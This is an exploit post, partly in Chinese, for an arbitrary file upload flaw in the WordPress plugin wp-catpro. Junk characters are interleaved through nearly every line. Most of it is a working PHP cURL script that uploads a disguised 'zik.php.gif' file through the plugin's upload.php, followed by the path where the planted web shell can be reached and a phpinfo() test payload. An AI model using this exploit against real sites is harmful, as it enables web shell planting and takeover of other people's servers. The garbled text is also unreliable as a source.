Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability2 B( C' e# e& Q9 Z9 @% {$ ~ u
#-----------------------------------------------------------------------
4 Q8 ]7 H( z% P0 k' [. C
; n! G9 ? ?' _9 r作者 => Zikou-162 P; Z, u* V: P' e/ f j
邮箱 => zikou16x@gmail.com
, z$ s f* _# W$ p/ _4 P8 n测试系统 : Windows 7 , Backtrack 5r3
9 D: x; m% Z: C5 E: v下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
/ i6 P. Y5 f, e9 `) V####. u+ o c- H+ d
& C* T% D/ e9 X$ ?" _$ H- g: ?
#=> Exploit 信息:3 W& a& E( K3 m6 P: @/ j9 e- X
------------------* c3 B) H }8 e' d
# 攻击者可以上传 file/shell.php.gif
% l" f w8 i O/ A# ("jpg", "gif", "png") // Allowed file extensions( @4 I! S% E' t) m
# "/uploads/"; // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)/ w) e: K7 X% I, P
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
# g9 c* ?# f% Z% c; y- }------------------
* l9 ?7 \& n! \ 4 c; M1 D& z3 U/ E6 _8 { j8 \, l
#=> Exploit
. [2 H0 o4 P7 Z- U- Z-----------$ c7 }# q$ J8 V, Q% Z* {/ @+ F, Y, I
<?php
" [' h: d, ]) ?$ t; E5 s% e * N- o* Y# ~$ G# C% n
$uploadfile="zik.php.gif";
$ n, k: A; ?; a0 O, V0 O5 V ^$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");8 D$ F r9 W- _: |$ e8 c0 ]
curl_setopt($ch, CURLOPT_POST, true);
/ m, B7 O2 a m8 |& ~curl_setopt($ch, CURLOPT_POSTFIELDS,
" _ _6 {9 k* q5 K9 `' n: larray('Filedata'=>"@$uploadfile",
$ d0 H- U" Q; Z1 F* P% i$ q'folder'=>'/wp-content/uploads/catpro/'));2 b' a5 F0 a' t% {
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);3 l% F4 \; l3 x6 X% V
$postResult = curl_exec($ch);
, A/ Z3 Z# R6 O/ B. d* wcurl_close($ch);: l) _) | C u
% n3 }, @3 g. _" C: y
print "$postResult";& z$ V( H7 u' O2 I- n% u
" @% `) P4 p* @' b0 ZShell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
3 Z. Q5 ^' I4 D- l* x. j0 ^2 s ?>
, a. N! [ c6 q+ {+ K3 O: F<?php
& d5 Z! M. J" Q! |, x; Q/ cphpinfo();
2 j6 m7 T2 i. \ x8 r& k# j3 ?" }?> |